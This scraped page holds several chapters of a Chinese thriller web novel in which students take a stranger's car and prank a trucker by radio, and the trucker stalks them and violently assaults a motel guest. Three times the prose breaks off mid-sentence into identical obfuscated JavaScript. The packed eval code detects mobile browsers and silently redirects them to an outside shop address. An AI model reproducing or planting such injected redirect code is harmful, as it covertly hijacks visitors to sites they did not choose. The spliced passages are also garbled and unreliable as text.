“咦~快放下吧凯拉,这东西看着就很脏!”梅尔一脸嫌弃躲在波比的身后,她可不喜欢这地方又脏又臭的。 “是吗?我觉得还蛮有意思的。”凯拉听着梅尔的话将铁锯放回到了桌上。 就在几人观察着周围时,走在最后面的本不动声色地捡起地面的一块砖头,趁大家没注意,猛地朝地面砸去—— “哐——!!” 巨大的声响瞬间在车库内炸开,其他几人都被吓了一跳。 众人:“!” 所有人一脸无语地转过头,看向笑得浑身发颤的本。 “本!你有病是吗?!”凯拉恼火得想要揪住他。 “哈哈哈哈,你们胆子真小!”本得意地嘲笑着被吓到的四人,紧接着转身就跑。 “凯拉!” 梅尔想住凯拉,别再着脏地方乱跑,但凯拉已经气得追了上去,两人拉扯之间,本直接撞到了被黑布遮掩的物体上。 本瞅着了眼被黑布包裹的物体,干脆一把将布扯下,底下竟然是一辆保存得极好的银灰色轿车。 “哇哈,你们快来看看这是什么?!”本大喊着,声音里压抑不住兴奋。 凯拉没想到这车库里竟然真的有车。 等另外三人走近后,本得意地拍了拍身旁银灰色轿车:“我们可以开这车离开!” 梅尔立刻皱眉制止:“这是别人的车!未经允许开走就是偷窃!” 郗涟有些不安地环顾车库,墙上挂满锈迹斑斑的刑具,这荒废车库的主人,绝不是什么善茬。 “本,梅尔说得对,”他低声附和,声音里带着一丝不易察觉的紧张,“这样做不对......万一车主突然回来怎么办?” “看看这灰尘!”本没想到大家会否定自己的想法,这让本有些拉不下面子快,他不耐烦地踢了下地上厚厚的积灰, “这家店的老板肯定出去度假了,一时半会儿回不来!我们就借用一下,马上还回来!难道你们真想在这鬼地方过夜?” “反正我是一分钟都不想在这儿多待。”凯拉抱起胳膊,语气坚决地附和。 她根本不在乎这些,反正只要能离开这么偏僻的地方就好了! 波比见大家都沉默不语,而本和凯拉的意愿又十分强烈,梅尔和郗涟虽极力反对却也没有更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033427|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的办法,便干脆建议道: “好吧,那我们就先借走这辆车,明天一早就去先前已经在地图上找好的汽车旅馆租车,顺便把这车还回来。大家觉得怎么样?” 几人互相看了看,沉默地点了点头,这确实是眼下唯一的办法了。 一行人坐上车后,波比便驾车离开了这里继续向前驶去。 就在银灰色轿车消失在公路尽头时,后方斜坡路段,一辆重型卡车悄无声息地出现。 紧接着,它停在了那栋孤零零的房子前。 驾驶座的门被推开,一个高大的男人利落地跳下车。 他看着地上车轮的痕迹,斜倚在车门上,不慌不忙地从口袋里摸出一根烟,低头点燃。 “嚓”的一声,猩红的火点在昏暗中骤然亮起,瞬间映亮了他线条冷硬的侧脸轮廓。 他缓缓吐出一缕灰白的烟雾,视线掠过眼前敞开的车库门,嘴角扯出一抹玩味的笑意。 “要开始了吗……”男人低声自语,语气里听不出丝毫恼怒,反而带着一丝愉悦的期待,“小甜甜。” —————————————— 一个多小时后,天色逐渐变暗。 天空骤然泼下暴雨,雨点密集地砸在车窗上,几乎模糊了所有视线。 郗涟忽然想起之前电台里似乎有人提醒过今晚有雨,没想到竟一语成谶。 暴雨让本就难行的道路变得更加凶险,车身不时打滑。 波比紧握方向盘,语气庆幸地说道:“还好我们提前开走了这辆车,不然这种天气还困在沙漠路段,后果简直不敢想象!” “你是对的。”副驾位的凯拉突然附和道。 这话让后排的本很不爽,明明车是他发现的好吗? 后排的郗涟和梅尔完全没注意到前面三人的谈话。 郗涟整个人几乎软在座位上,浑身酸痛。 他揉了揉太阳穴,疲惫地说道:“我好困,好累,好想睡觉。” 长期缺乏运动,下午又在公路徒步走了那么远,加上一路颠簸陡峭的车程,郗涟现在全身酸痛得要命,几乎连说话的力气都没有。 “我也是......”梅尔有气无力地应着。 先前走到那栋房子的时候,她就腿酸得不行。 就在两人累得快要睡过去时,车子驶近了公路交接口处唯一的一家汽车旅馆。 夜色中,旅馆的霓虹招牌有一半灯管已经熄灭,剩下的断断续续闪烁着“VAC NCY 2”几个残缺的字母。 看起来旅馆内还有几间空房亮着灯。 波比将车停到旅馆停车场,转头正想和梅尔说话,却发现她和郗涟靠着车窗睡着了。 本和凯拉仍在嬉笑打闹。 他小声地对本和凯拉说道:“你们在这等着,我先去问问还有没有空房。”随后迅速拉开车门,冒雨冲向旅馆前台。 波比跑到旅馆外刚推开门,就见到一个身材魁梧的男人正和前台的黑人小哥激烈争吵。 他愣在原地不知道该不该打断两人交谈。 另一边停车位上的本和凯拉透过玻璃窗,看到波比傻站在门口一动不动。 “那家伙在干什么?浪费什么时间?”本有些不满地嘟囔着。 在这个队伍里,波比总是表现得像个急于确立权威的领袖,这让本非常不爽。 特别是借车的提议,明明是他先想到的,可最后却好像变成了波比的功劳,什么好事都算在波比头上。 “我过去看看。”本越想越不爽,直接拉开车门,快步朝旅馆入口跑去。 就在此时,一辆卡车如影子般缓缓滑入旅馆停车场。 雨声掩盖了引擎的低鸣,轮胎碾过积水时也只发出闷闷的轻响。 5. Chapter 05 郗涟听着雨声困意逐渐袭来,意识也开始模糊。 一旁的梅尔也抵不住困意靠着车窗睡着了,而前排的凯拉则是戴着耳机百无聊赖地刷着手机, 她翻看着其他网友分享的拉斯维加斯游玩攻略,越刷越心痒。 如果不是中途的意外影响他们的旅游计划,他们应该很快就能在豪华酒店喝着红酒、看着风景,享受着美好的旅游! 而不是窝在这个偏僻狭窄的汽车旅馆过夜!甚至还得考虑车的问题! 凯拉越想越心烦,她转头正想找人发发牢骚说说话,就看见后排的两人都睡着了。 凯拉撇撇嘴,这么快就睡了,本和波比也还没有回来…… 她开始有些无聊地摆弄起了车上的无线电台。 凯拉随手调至21号频道,就听到一个低沉男声正从电台里传来,对方的声音让她有点熟悉而且还自言自语地说:“小甜甜……” “What?!这人是不是有什么毛病?”凯拉难以置信地嘟囔着,随即转身叫醒了后排两人,“你们快醒醒!” 郗涟被吵得迷迷糊糊地睁开眼,就见到前排的凯拉一脸见了鬼的表情。 他有些困惑地问道:“怎么了……” 下雨天真的太好睡了,而且他真的好困好困。 就在这时,电台里又传来对方喊着“小甜甜”的声音。 “是上午那位锈铁钉?”郗涟皱着眉,感觉有些奇怪。 那家伙是傻吗?还是闲得发慌? “是啊,你听!他居然一直在这个频道里喊小甜甜!”凯拉压低声音,虽然觉得好笑但是仔细想想也太恐怖了吧! “他从下午喊到现在,该不会一整天都在开车追着信号跑吧?” “他们房间到底申请好没有啊?我要睡觉!” 梅尔根本没心思关心电台里那些莫名其妙的话,她现在只想知道波比和本订房订到几号了! 这时,车门被猛地拉开,本和波比探进身来立马坐到车内,两人上半身几乎湿透发梢还在滴水。 尤其是本,对方嘴唇紧抿脸色发青,一副被人气到的模样。 凯拉见本这副模样,好奇地问:“发生了什么?” 本心情不好得没有搭理凯拉。 波比抽了抽嘴角,想到刚刚发生的事情觉得有些好笑,但是顾及本的脸面只是含糊地说道: “没什么,不过我们还挺幸运的,正好剩下两房间,男生一间,女生一间。四人房就给我们三个吧,二人房留给你和梅尔。我们是18号,你们是20号。” “太好了!我快困死了,赶紧去订房吧。”梅尔长舒一口气。 郗涟也勉强撑起身子,迷迷糊糊地点头。 他现在只想倒头就睡,其它的事统统明天再说。 这时,电台里的那个声音依旧还在自顾自地说话。 “小甜甜你在吗?” 波比有些疑惑地指了指电台,“你们刚刚在和他聊天吗?” “没,他自己一直在那边喊着‘小甜甜’!简直和有病一样。”凯拉耸了耸肩有些无语地说道。 本突然想到了一个完美的点子,他势必要给刚刚那个让他难堪的家伙一点颜色看看。 “涟!”本压低声音急促地喊道。 “怎么了?”郗涟下意识抬头看向本。 “快,继续跟对方说话!”本用气声催促, “什么?我才不要!”郗涟根本不想参与本的游戏,他现在只想下车休息,与此同时波比和梅尔正拿着后备箱的行李往旅馆走廊的方向跑去。 外面的雨下得很大,本一脸恳求的说道:“求你了。涟。我就想听听!” “啧。”郗涟不明白为什么本这么执着于玩这个电台,不过看着对方一副不照做就不烂下车的态度,他只好拿起电台的对讲机说道:“锈铁钉?怎么了?” 电台那头静默了一瞬,随即传来男人低沉的回应,语气竟带着一丝若有似无的笑声:“小甜甜?我以为你不理我了。” “锈铁钉,太晚了,你……你应该早点休息。”郗涟小声地说道。 本在一旁听着瞪大了眼睛,一副快要气死的模样。 他拉着郗涟小声的说了几句话。 郗涟听完后一脸无语地看了本一眼。 他真的不想再和本纠缠下去,干脆自暴自弃地对着电台说道:“外面的雨越来越大了,我有点想过夜,你有兴趣来找我吗?” 电台里传来男人低哑的轻笑,带着几分玩味:“嗯哼?现在?” “你就说行不行,不行我就去睡觉了。”郗涟的耐心已经耗尽,他现在只想闭上眼睛。 凯拉在副驾驶座上笑得整个人发颤,她觉得简直太有意思了。 “呵呵,但是我可能会让你失望。” 本见对方没上钩,立刻转变策略,凑近郗涟耳边低声道:“快,说‘你是男人这就足够了。我会在桌岩的孤寂旅馆等你,如果有兴趣的话就来找我吧。’” “什么?”郗涟一脸难以置信地听着本的话,“这话我怎么可能说得出口!” 本迅速朝凯拉使了个眼色,凯拉立刻会意地加入怂恿阵营。 凯拉也不嫌事大忍着笑拍了拍郗涟的肩:“涟,都到这份上了,就给人家留点念想嘛。万一他真惦记一晚上呢?” 郗涟:“.....” 在两人期待的目光中,他对着话筒快速说道:“咳咳...你是男人,这就足够了,还有那个,我在桌岩的孤寂旅馆...” 几秒静默后,电台传来杂乱的电流声,那个低沉的嗓音却穿透噪音异常清晰:“几号房?” 本立刻比出“17”的手势,郗涟自暴自弃地接话:“17号房,等你。”说完飞快关掉对讲机,整张脸埋进掌心。 本一把将电台关闭,整个人兴奋地几乎要跳起来。 “万一他真的来了怎么办?”郗涟有些担忧地问道。 “那就太好了!”本语气不爽却带着期待,“不过这种大雨天赶过来也不太现实,就算他不来,这恶作剧也够本了,好玩!” 郗涟是愈发觉得本的恶作剧太过于无聊,但是他现在困得要命,只想赶紧躺着床上好好睡觉。 恶作剧结束后,几人迅速从后备箱取出行李冒着大雨跑进旅馆。 郗涟困得眼皮打架,他提着行李准备离开车厢的时候,莫名感觉到有一束目光死死黏在自己背上。 他下意识回头,停车场空荡荡的只有几辆蒙着雨雾的车,除此之外也只剩和跑在前面的同伴。 电台里的恶作剧结束后,郗涟和本也拎着行李,冒雨跑进了旅馆。 就在跨出车门的瞬间,郗涟隐约感到一道视线落在自己背上。 “快走啊涟!难道你想淋雨感冒吗?”本一把抓住他的手,不由分说地拽着郗涟冲进了旅馆走廊。 郗涟被他拉得踉跄几步,最后又忍不住回头瞥了一眼,空荡的停车场在雨幕中一片模糊。 看来真的是自己的错觉。 几人拎着湿漉漉的行李跑到房门前。 波比掏出钥匙打开18号的房门,把所有人的背包一股脑推进去后,立刻转身去20号房确认梅尔和凯拉的情况。 直到目送两位女生安全进门,他才返回男生房间。 郗涟第一件事就是冲进卫生间换衣服。 幸好自己还好穿了连帽卫衣,头发没怎么湿。 他迅速换上一套干爽的长袖睡衣,把自己收拾妥当后,便蜷进最靠里的那张床铺,戴上耳机,被子从头到脚裹得严严实实,将外界的一切声响彻底隔绝在外。 太困了真的太困了,他恨不得马上就睡着! 本懒洋洋地靠在靠门的床上,有一搭没一搭地切换着老旧彩色电视的频道。 “这破地方居然连dama都买不到……”他低声抱怨着,整个人显得躁动难耐。 而波比则坐在桌边摊开地图,借着昏暗的台灯光线研究明天离开的路线。 雨声敲打着旅馆的玻璃,就在本快要睡着的时候,他听到了不远处传来了车子熄火的声音。 本想到了什么,连忙对着波比说道:“快关灯,快电视!” 波比有些不理解,不过还是听了本的话把电视关掉,本也立马起身将房间的灯也关了。 就在这时,窗外走过一个高大的黑影。 本立刻闪到门后,小心地从猫眼向外窥视。 走廊光线极其昏暗,他只能模糊看出是个戴帽子的男人,手里拎着一个酒瓶。 那人经过18号房,径直朝17号方向走去。 本难以置信地转过头,对波比低声惊呼:“天,那家伙真的来了!” 高大的男人应该就是他们透过电台结识的那位“锈铁钉”。 波比瞬间僵住,“什么?!他真来了?”说完转头看向还在熟睡的郗涟。 很快,隔壁17号房就传来了质问和激烈的争吵声。 本听得眉飞色舞,得意地朝波比挤眉弄眼。 而波比却面露忧色,毕竟刚才黑影经过时,他注意到了对方异常高大魁梧的身形,万一真发生冲突...... 此时的17号房内,锈铁钉正一脸玩味地打量着面前不断朝他发出警告的白人男子。 他直接无视了对方,甚至还悠闲地左右环顾了一圈,伸手摸了摸右侧的墙面。 白人男子怒吼着:“快给我滚出去!” 对方的吼叫声引起了波比和本的注意,波比有些害怕,“会不会真的出事了?” “嗨,不会有什么事情的。”本无语地摆了摆手,他最烦波比优柔寡断的模样。 另一边17号房内。 锈铁钉漫不经心地将刚刚在外面采摘的玫瑰花放在了桌上,紧接着挥拳猛击向对方的腹部。 随后迅速扯下桌上那根用来固定窗帘的绳子,死死地缠绕在白人男人的嘴。 “呃——!”男子双眼暴突,喉咙里挤出破碎的呜咽,脸色迅速由红转紫。 他双脚疯狂地蹬踹着墙面,发出沉闷而杂乱的“砰、砰”声。 “安静点,万一吓坏了我的小甜甜怎么办?”锈铁钉平淡的说道。 他可是知道小甜甜就在隔壁,千万不能吓到对方。 男人的嘴被强行扣住,整个人的脸色逐渐发白时不时还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033428|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出呜咽声,整个人已经要痛到晕厥! 锈铁钉低笑着,双手不断用力,直到对方彻底失去了意识。 “这就安静了吗?” 他一把松开手,不屑地看着已经倒地不断抽搐的男人。 “真是垃圾。” 锈铁钉毫不客气地将失去意识的男人像垃圾一样踹到角落,随后侧身靠向墙面,安静地听着隔壁的动静。 他眉梢微挑,因为墙壁那头隐隐约约传来两道平稳的呼吸声。 看来他的“小甜甜”……现在还在乖乖睡觉。 对墙的本对着波比眼神示意了一下:对面怎么没有动静了? 波比摇了摇头:他怎么知道?! 先前墙的那头传来了沉闷的敲击声,听起来像是什么东西被狠狠砸到了墙上;紧接着,他又听到一声被压抑住的痛呼。 随后一切恢复了寂静。 “要不我们打电话问问前台吧。” “别啊!” 波比无视了本的阻挠,直接拿起房内的座机电话,拨通了旅馆前台。 “嘟嘟嘟——” 电话很快就被拨通了,电话那头的前台小哥声音模糊地说道:“您好这里是汽车旅馆,请问有什么需要的帮助的吗?” “您好,我是18房的住客,是这样的,我刚刚听到隔壁传来了一些奇怪的动静,听声音似乎是17号房传来的,那动静有点影响我们休息了,你能不能帮忙查看一下到底是什么情况。” 前台小哥一听是17号房顿时泄了气,怎么又是那个房间?! 一想到17号房那位极其难搞的客户,前台小哥只好敷衍地说道:“明白了我这边先联系下住客了解一下情况。”紧接着对方就将电话挂断。 本见波比将话筒重新放回到了电话上,一脸无语的说道:“你是有什么毛病吗?万一这样搞,对方岂不是一下子就知道事是我们的干的了?” 波比只是看了一眼本,没有接话。 在学校时他只当本喜欢耍小聪明出风头,但如今这种涉及人身安全的“玩笑”早已越过底线,一点也不好笑。 波比烦躁地揉了揉眉心,瞥了眼角落里戴着耳机熟睡的郗涟。 幸好队伍里只有一个本,要是再多一个这样的,他真招架不住。 这时,对面突然响起了电话声直接打断了本的话。 “快听!” 另一边17号房内。 锈铁钉活动了一下手臂,正思考着是该继续这场游戏,还是再多“逗逗”他们。 房间内的电话突然响起。 锈铁钉挑了挑眉,接起电话。 来电的是旅馆前台,对方的声音带着明显的怯意:“实在不好意思先生,是18号客人有些担心您的安危,所以让我联系一下您没有其他的意思,我保证不是故意打扰您的。” “呵呵,我知道。”锈铁钉的声音低沉得可怕。 他缓缓吐出一口烟,目光落在地上面容扭曲、下巴被掰断的男人身上,嘴角扯出一丝玩味的笑。 还是再玩玩吧。 就像猫捉老鼠那样,也不知明天会有几只小老鼠能挺住。 “实在是抱歉,就不打扰您了。”前台小哥的声音有些发颤,生怕17号客人会继续刁难。 他觉得自己真是倒霉透顶,却也只能硬着头皮回电给18号房的客人。 就在本和波比无声对峙的间隙,“嘟嘟——” 电话铃声突然响起,把两人吓了一跳。 接连而来的动静也把角落的郗涟惊醒,他皱着眉头摘下耳机,睡眼惺忪地望向不远处神色紧张的两人,困惑地问道:“大晚上不睡觉你们在干什么?” 波比立刻朝郗涟做了一个噤声的手势,本则指了指墙面,挤眉弄眼地暗示隔壁有情况。 见他们居然大半夜不睡觉还在忙着打电话“搞事”! 郗涟忍不住翻了个白眼,他还以为这两人神秘兮兮的在干什么呢。 出游真能见人品,这句话诚不欺我! 郗涟瘫在角落的床上,听着本和波比压低声音争执、前台电话来来去去,甚至连隔壁的动静都隐约传来。 他从来没想到人能无聊到这种程度! 大半夜不睡觉,居然集体上演“午夜惊魂”兼“恶作剧风云”? 郗涟懒得再多问,重新调整了一下姿势,把耳机塞紧,裹紧被子转身继续睡去。 “先生,17号房客人并没有其他事情。”说完,前台小哥便挂断了电话,只字未提18号房客人投诉的这件事。 “看,这根本就没什么!”本耸了耸肩,语气轻松,“不就一个玩笑而已。” 波比也开始怀疑是不是自己太多虑了,但他不愿再和本争辩。 两人思维根本不在一个频道上,说多了只会更心烦。他索性面无表情地躺回床上,闭眼试图继续入睡。 本见波比直接躺倒,也识趣地闭嘴,回到自己的床位休息。 而他们全然不知的是,窗外正站着一个高大的男人 对方正静立雨中,雨水顺着他宽大的肩背淌下,男人的帽檐压得很低,阴影几乎吞噬了整张脸。 6. Chapter 06 一大早,旅馆外便传来了嘈杂的声响。 郗涟昏昏沉沉地醒来,扫了一眼身旁两位还在熟睡的同伴,轻声地坐起身。 他刚拉开窗帘就看到窗台上摆放着一朵玫瑰花。 花瓣鲜红欲滴,像是刚从枝头摘下被人特意搁在了这里。 郗涟疑惑地拿起玫瑰,这是谁放在这的? 郗涟只是看了一眼,随后起身从背包里翻出换洗衣物到卫生间收拾了一下自己。 冰凉的水拍在脸上,稍稍驱散了他的睡意。 外面的动静越来越大,郗涟收拾完自己后一脸疑惑地走出去。 就见到一旁的17号房门正敞开着,里面进进出出了不少警务人员。 从18号房走出来的郗涟,几乎立刻吸引了所有人的目光。 这家旅馆本就客人稀少,而郗涟不仅是一名亚裔,更生着一张精致得近乎失真的东方面孔。 皮肤苍白,眉眼如细墨勾画,整个人安静地站在晨光中,像一尊忽然被放置在废墟中的白瓷人偶。 一名警员打量着他,实在难以将这样精灵似的少年与凶案联系在一起。 不过他还是按程序走上前,语气平和地问道:“男孩,你从哪里来的?” 郗涟似乎还没完全清醒,眼神略带迷茫地看着警员,心里有些诧异为什么会有警察出现,但是还是下意识回答了对方的问题。 “内华达。” “好吧,”警员点了点头,继续问道,“你来这里是做什么的?” “周末旅行,和几个同学一起,打算去拉斯维加斯。” “拉斯维加斯?倒是个热闹地方。”警员笑了笑,随即表情认真了些,“那你昨晚有没有听到17号房这边传来什么不寻常的动静?” “17号?”郗涟努力回想但根本没什么印象,“昨天因为暴雨,我们临时决定在这里住下。很抱歉,我并没注意到17号房有什么异常。” “好吧,那你的同伴,”警员朝18号房示意了一下,“现在方便请他们出来一下吗?” “好的,我这就去叫他们。” 郗涟依照警员的要求,马上回到客房叫醒了还在睡梦中的波比和本。 接着,他又走向20号房想看看梅尔和凯拉是否醒了。 郗涟一转身发现那名警员正站在走廊的不远处看着自己。 他礼貌性地朝对方笑了笑,指着20号房门解释道:“我还有两位同伴住这间。” 见警员并未阻拦,郗涟有些紧张地敲了敲20号的房门,低声问道:“梅尔?凯拉?你们醒了吗?” 过了一会,门内传来细微而略显凌乱的窸窣声,紧接着是凯拉有些急促的回应:“呃,马上就来!” 那名警员的目光全程都没离开过那个亚裔青年。 对方的容貌实在过于醒目,甚至比许多精心打扮过的金发女郎还要精致。 皮肤白皙得像从未见过阳光的初雪,五官清晰得宛如用最细的笔触一笔笔雕琢而成。 一个不合时宜的念头在警员脑子里飘了过去:如果现在过去搭个讪、要个联系方不知道他会不会给? 就在此时,18号房的门被推开。 本探出身环顾了一眼四周,正好对上那位正在出神的警员。他愣了一下,脱口问道:“呃,警官先生,发生什么事了?” 本第一反应是他们“借”车的事被发现了,警察找上门来了。 这突如其来的问话打断了警员的思绪。 警员回过神来,打量着眼前这个穿骷髅外套、剃着寸头的年轻人,职业本能让他迅速进入状态,“你昨晚有没有听到17号房传来什么异常声响?” 本一听到“17号房”心里顿时咯噔一下,但仍强作镇定地反问:“什么意思?那房间怎么了?” 他身后的波比听到动静也凑了过来,一脸茫然,完全没搞懂为什么一觉醒来门口会站着警察。 与此同时,梅尔和凯拉也从20号房走了出来。 她们见到这阵仗有些慌,小声拉着郗涟问:“怎么了?怎么会有警察在这?” 梅尔心里则是非常担心他们擅自闯入别人家里“借车”会被抓。 毕竟擅闯私宅是极其严重的行为,这直接触犯了当地的“住宅防卫法”,更何况他们还开走了一辆价值不菲的车! 她绝不想这件事被波比的家人知道,毕竟他们好不容易才得到认同在一起! 郗涟见梅尔脸色不好,立刻解释道:“不是那个,他是问旅馆其他客人的事情。” “这样啊。” 梅尔放下心来跟着凯拉和郗涟走了过去,就听到了警察不断在询问昨晚的事情。 见到一行人都到齐了,警察说道:“17号客人昨晚被害了,根据夜班经理描述,你们昨天半夜还打电话给他询问17号房的事情。” “据他所说,在此之前你们和对方还发生过争执。” “等等?他真是这么说的?”本有些不满,夜班经理为什么要说这些! 反倒是一旁的波比一副欲言又止的表情,很显然他知道些什么。 警察也不是吃白饭的,看这些人的反应他觉得18号房的人肯定知道些什么。 “你们确定昨天晚上没有听到隔壁的动静吗?” 波比被警察的质问逼得有些窘迫,难为情地瞥了本一眼,低声承认道:“额…昨晚,昨晚确实听到17号房有些嘈杂的动静......” 听到这里,郗涟隐隐约约想到昨天他被吵醒时,本和波比确实正压低声音打着电话。 警察扫了眼面前的五人,继续追问:“比如?什么样的动静?” 本有些沉默,因为他总不能说是因为自己钓鱼又想报复17号房的大块头,才搞出这么一件事吧? “....就是咚咚咚的声音...” “咚咚咚?”警察见唯二了解事情缘来的两个青年一直不肯多说什么,只好转移到17号被害人身上。 “他昨天差点死了,不过现在和死了也没有什么两样。” “谁?”凯拉有些疑惑,她昨天和梅尔一回房就睡了,毕竟要睡个美容觉。 “17号客人,本杰明。” “算了,我觉得或许你们去看看他的情况,应该是能回忆起什么。” 警员要求带走本和波比到附近的急救站‘了解’一下情况。 因这个突如其来的插曲,周末出游的计划彻底被打乱。 郗涟三人只好留在旅馆,等待本和波比回来。 波比离开前用力抱了抱梅尔,在她耳边低声安抚:“放心,我什么也没做,就是陪本过去看看情况。” 梅尔在他脸颊上轻轻印下一个吻:“早点回来。” 随后,本和波比坐进警车,在众人的注视下驶离了旅馆。 “真是糟糕,他们没事一直搞这些恶作剧是干什么?”梅尔有些不满,她还以为警察发现了他们偷车。 郗涟心里也不好受,因为昨天他也参与了欺骗对方过来,心里总是有一种隐隐地不安。 这个时候他又隐隐约约感觉到了那种强烈的注视感。 郗涟环顾四周,总觉得有人好好像在看着自己,但是也没有。 “烦死了,估计今天又要在这里花费一些时间,我们到底什么时候才能去拉斯维加斯。”凯拉要气死了,这些时间全花在路上了。 “我有点饿了,准备去便利店买点吃的。你们要一起吗?”郗涟觉得一大早碰上这种事够糟心的,不如先解决一下早餐问题。 “我也去。” “那我也去。” 三人便朝着旅馆的便利店走去。 这家孤零零的旅馆坐落在公路交界处,设施倒很齐全,不仅有客房还附带商店和加油站。 此时不少人正收拾行李准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033429|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备离开,也有些过路车辆在此加油。 他们三人走进商店,出众的样貌立刻引来了不少目光。 郗涟突然发现这商店外种植了不少鲜花,其中就有早上见到的那朵玫瑰花。 他觉得有些奇怪,但是想想说不定是别人离开的时候随手放的也就没有过多在意了。 身后的凯拉格外不满,压低声音抱怨:“如果真和我们没关系,那本和波比干嘛非要跑去急救站看什么受害人!” 她越想越气,忍不住踢了下货架,“真是受够了,为什么要一直耗在这种鬼地方!这里除了这些该死的速食面包,什么吃的都没有!” “冷静点吧凯拉,他们应该很快就回来了,我们先随便吃点吧。”梅尔倒是没那么在意,对她来说只要和波比在一起,去哪儿都挺开心。 郗涟走到一旁的货架上取下一份三明治,随口说道:“说起来,昨晚半夜我被电话铃声吵醒,好像又是本在搞什么恶作剧。不过后来我戴着耳机睡着了,再之后发生什么我就不清楚了。”边说边朝着冷藏柜的位置走去。 “又是本!”梅尔皱了皱眉,她觉得本最近确实越来越过分。 虽然她有一种不好的预感,但她还是暗暗祈祷17号房那起惨案最好跟他们毫无瓜葛。 郗涟从冷藏柜里取出一瓶矿泉水,刚转身就毫无预兆地撞进一片阴影里。 他的脸颊擦过对方的夹克,一股浓重的烟草味立刻钻入鼻腔。 郗涟以为自己差点撞到人,下意识低声道:“不好意思……” 话音未落,一股强烈的压迫感已扑面而来。 见对方没有说话只是站着他面前,郗涟下意识地抬头看了眼对方,又迅速低下头。 这人怎么这么高?! 郗涟只看到对方戴着一顶深色宽檐帽,帽檐压得极低,投下一片深沉的阴影,将大半张脸都隐没在晦暗之中。 他发现对方的目光似乎正透过墨镜盯着自己,心里一紧,有些害怕又尴尬地收回视线,立刻拿着水和三明治绕到前台排队结账。 只是没想到,那个男人也跟了过来,就排在他身后! 郗涟感觉距离近得几乎能感受到对方的体温。 这种无声的、步步紧逼的存在感,让他脊背一阵阵发凉,浑身都不自在起来。 所以结账刚一结束,郗涟立刻小跑地走出便利店。 凯拉和梅尔正站在门口,一边聊天一边等他。 “嘿!你看那人得有一米九以上了吧?”凯拉朝便利店方向扬了扬下巴。 只见那个身材高大、头戴宽檐帽的男人正拿着一包烟转身出门,利落地跨上了一辆重型卡车。 “确实很高。”郗涟收回目光,语气里带着一丝羡慕。 他自己才一米七五,毕竟大部分亚裔在身高这方面确实没什么优势。 凯拉突然笑起来,打趣道:“说真的涟,你要是个女孩我肯定嫉妒死你这张脸。可惜你是个男的,我都想象不出哪个女孩敢站在你旁边,你这‘绿叶’当得也太不称职了!” 郗涟沉默了一瞬,他从未考虑过这个问题,只好尴尬地拿起面包咬了一口,默默咀嚼着。 另一边的锈铁钉坐在驾驶位,深深吸了口烟。 他的目光穿过缭绕的烟雾,落在不远处正在交谈的三人身上。 更准确地说,是牢牢锁定中间的那位。 锈铁钉看着他微微蹙着眉,似乎在认真听着同伴说话。 每当那小甜心不安地环顾四周时,都像只察觉到危险气息、竖起耳朵东张西望,却怎么也找不到源头的小动物。 真可爱。 小甜甜…… 你到底什么时候才会发现我呢? 锈铁钉一想到这个,心情就美好得不行。 至于那几个偷车贼,还有那些喜欢恶作剧的猪猡…… 应该很快就要开始惊慌失措了吧。 7. Chapter 07 没过多久,那辆警车很快就回来了。 两人面无表情地下了车,波比直接无视了本走在前面,他臭着一张脸往旅馆的方向走着。 他长这么大从来没有因为这种事情当众被羞辱,而这一切都是本! 因为他那个无聊的玩笑! 波比越想越气,见到了正坐在便利店前桌椅的三人,他立刻调整了一下表情。 转头看着慢慢吞吞走来的本,对着郗涟三人毫不客气地嘲讽道: “你们知道发生了什么?FAKE!就因为本昨天在电台上面钓鱼,那个变态真的找过来!那个什么钉就是个神经病!他活生生把17号房的客人下巴给掰断了,整个下巴都没了!你们能明白吗?太残忍了那个手法,我们得赶紧离开这里!!” “OMG,本看看你做的好事!”梅尔没想到居然会发生这样的事情,真的是太糟糕了! 郗涟:“!” 他听着波比的话,感觉整个人都不好了,毕竟这件事情他也有参与…… “嗯哼?所以你们觉得都是我的错吗?”本一听到波比和梅尔这样说,再感受到所有人投来的谴责目光,他顿时觉得面子挂不住了,声音也不自觉地提高, “你们当时不是也觉得很有意思吗?怎么现在出事了就全怪我一个人头上?!” 众人听着本的话沉默了几秒。 波比不想在这上面和本有过多的拉扯,毕竟现在去争论是非已经没有任何意义了,最重要的是得赶紧离开这里。 他转头对梅尔几人说道:“走吧,时间不早了,我们得抓紧时间去赶路。” 几人准备回客房收拾自己的行李,郗涟突然想起来一件事情,“那凯拉的车呢?还有现在这辆车我们该怎么办?” 大家听到郗涟的话这才反应过来,眼前还停着一辆不属于他们的车。 “该死,都忘记这一茬了。”梅尔懊恼地看向那车。 现在这车对于他们简直就和炸弹一样存在! 